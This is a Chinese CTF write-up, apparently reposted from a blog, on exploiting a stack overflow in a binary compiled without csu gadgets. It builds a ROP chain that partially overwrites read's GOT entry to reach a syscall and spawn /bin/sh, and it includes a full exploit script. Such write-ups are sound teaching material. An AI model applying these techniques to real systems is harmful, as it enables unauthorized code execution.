R()P

image-20221030191927656

⾼版本上GCC编译的程序,没有csu这种好⽤的gadget可以⽤

image-20221030194050838

由于是优化过的编译,没有rbp链,⻓度参数通过rsp取得,地址通过rax取得

这就给了我们直接控制read的可能,可以直接达成任意写

我们可以爆破修改read函数的低位,把read函数改到它相邻的syscall去(libc.so中)

image-20221030195841486

假设我们需要execve(“/bin/sh”,rsi,rdx),需要控制四个寄存器的值,分别是rax=59,rdi->”/bin/sh”,rsi=0|rsi->0,rdx->0|rdx=0,再调⽤read函数

rsi:0x401141

rsi也⽐较好控制,我们看第⼀个read的调⽤⾥

image-20221102095844463

这样我们只要最后⼀个处理rsi,那么rsi就可以很容易的被来⾃栈上的值设置

edx:0x40115d

没有找到可以直接控制rdx的办法,但是我们看第⼆次read调⽤中对于rdx的设置是

image-20221102095749674

由于最后⼀次read要改写read的got表,rdx不能为0,所以最后⼀次read时把rdx设置为指向0的值,之后不去改它就⾏了

eax:0x40116d

⾸先,rax很好控制,可以直接被栈上的值控制

image-20221102095722576

edi:0x401099

没有找到能直接从栈控制rdi的办法,但是梳理⼀下语句,可以发现在register_tm_clones函数中,有对于_ITM_registerTMCloneTable的调⽤,其调⽤⽅式为

image-20221030201755724

这是程序⾥为数不多的修改了rdi的地⽅,⽽正好修改的值是bss_start,即0x404018,是⼀个可读写的内存,

其下⼀个条语句为jmp rax,rax是我们可控的,那么只需要控制rax指向ret,就可以继续ROP了

先进⾏⼀次栈溢出,控制程序流,开始ROP,

⾸先控制rax为bss_start,接着使⽤ rax为read的buf,读⼊/bin/sh,

同时将rax置为read的got表,再⽤rax为read的buf,爆破syscall,

同时置rdx指向 NULL,

接着控制rax为⼀个ret指令的地址,

调⽤ mov edi, offset __bss_start ; jmp rax 设置rdi,

再将rax置 为59,将rsi置为0,再次调⽤read函数

bss = 0x404018
read_plt=elf.plt["read"]
read_got=elf.got["read"]
main_addr = 0x401126

rsi = 0x401141
rdx = 0x40115d
rax = 0x40116d
rdi = 0x401099
ret = 0x000000000040101a

read_buf = 0x401155
read_rax = 0x40115A

p.send(p32(0x100))
1.栈溢出+控制rax为bss_start

p64(0)用于lea rax, [rsp+18h+var_10]将0写入rsp,否则0x4040180000000将会进入rsp

image-20221102105231975

因为是32位寄存器,所以这里的p32(0)+p32(bss)是为了使bss地址在高位,变成0x4040180000000

使能够mov edx, dword ptr [rsp + 0xc],将我们想要的值赋给edx

image-20221102104740133

pl = b"A"*0x10+p64(rax)+p64(0)+p32(0)+p32(bss)+p64(0) 

控制rax为bss_start,控制为bss_start的原因一是bss段可写、二是我们需要利用bss_start处来修改edi

image-20221102161958802

image-20221102104932133

pl += p64(read_rax)+p64(0)+p32(0)+p32(read_got)+p64(0)

接着使⽤ rax为read的buf,读⼊/bin/sh

pause()
p.send(b"\x90")

将rax置为read的got表

image-20221102152500850

⽤rax为read的buf,改syscall

pl += p64(read_rax)+p64(0)+p32(0)+p32(bss+8)+p64(0)

我们先是查看到read_got往下0x10大小就是syscall

image-20221102152215831

pause()
p.send(b"\x90")

image-20221102153037952

pl += p64(rax)+p64(0)+p32(0)+p32(ret)+p64(0) #rax -> ret

同时置rdx指向 NULL

image-20221102154113456

image-20221102154121845

rax是我们可控的,控制rax指向ret,就可以继续ROP

pl += p64(rdi) #"/bin/sh" > rdi

#mov edi, offset _bss_start
#jmp rax 

使rax=59、rsi=0

pl += p64(rax)+p64(0)+p32(0)+p32(0x3b)+p64(0) #rax=59

pl += p64(rsi)+p64(0)+p32(0)+p32(0)+p64(0) #rsi=0

本机就出了

远程也差不多,但需要爆破syscall

print(hex(libc.sym["read"]))
bss = 0x404018
read_plt=elf.plt["read"]
read_got=elf.got["read"]
main_addr = 0x401126

rsi = 0x401141
rdx = 0x40115d
rax = 0x40116d
rdi = 0x401099
ret = 0x000000000040101a

read_buf = 0x401155
read_rax = 0x40115A

p.send(p32(0x100))

pl = b"A"*0x10+p64(rax)+p64(0)+p32(0)+p32(bss)+p64(0) 

pl += p64(read_rax)+p64(0)+p32(0)+p32(read_got)+p64(0) #/bin/sh > bss


pl += p64(read_rax)+p64(0)+p32(0)+p32(bss-8)+p64(0) #read_got -> syscall


pl += p64(rax)+p64(0)+p32(0)+p32(ret)+p64(0) #rax -> ret

pl += p64(rdi) #"/bin/sh" > rdi

#mov edi, offset _bss_start
#jmp rax

pl += p64(rax)+p64(0)+p32(0)+p32(0x3b)+p64(0) #rax=59


pl += p64(rsi)+p64(0)+p32(0)+p32(0)+p64(0) #rsi=0
'''
'''

#dbg()
p.send(pl)

pause()
p.send(b"/bin/sh")


pause()
#p.send(b"\x90")
p.send(b"\x0f")

itr()

image-20221102161337387

原文地址:http://www.cnblogs.com/shuzM/p/16872498.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性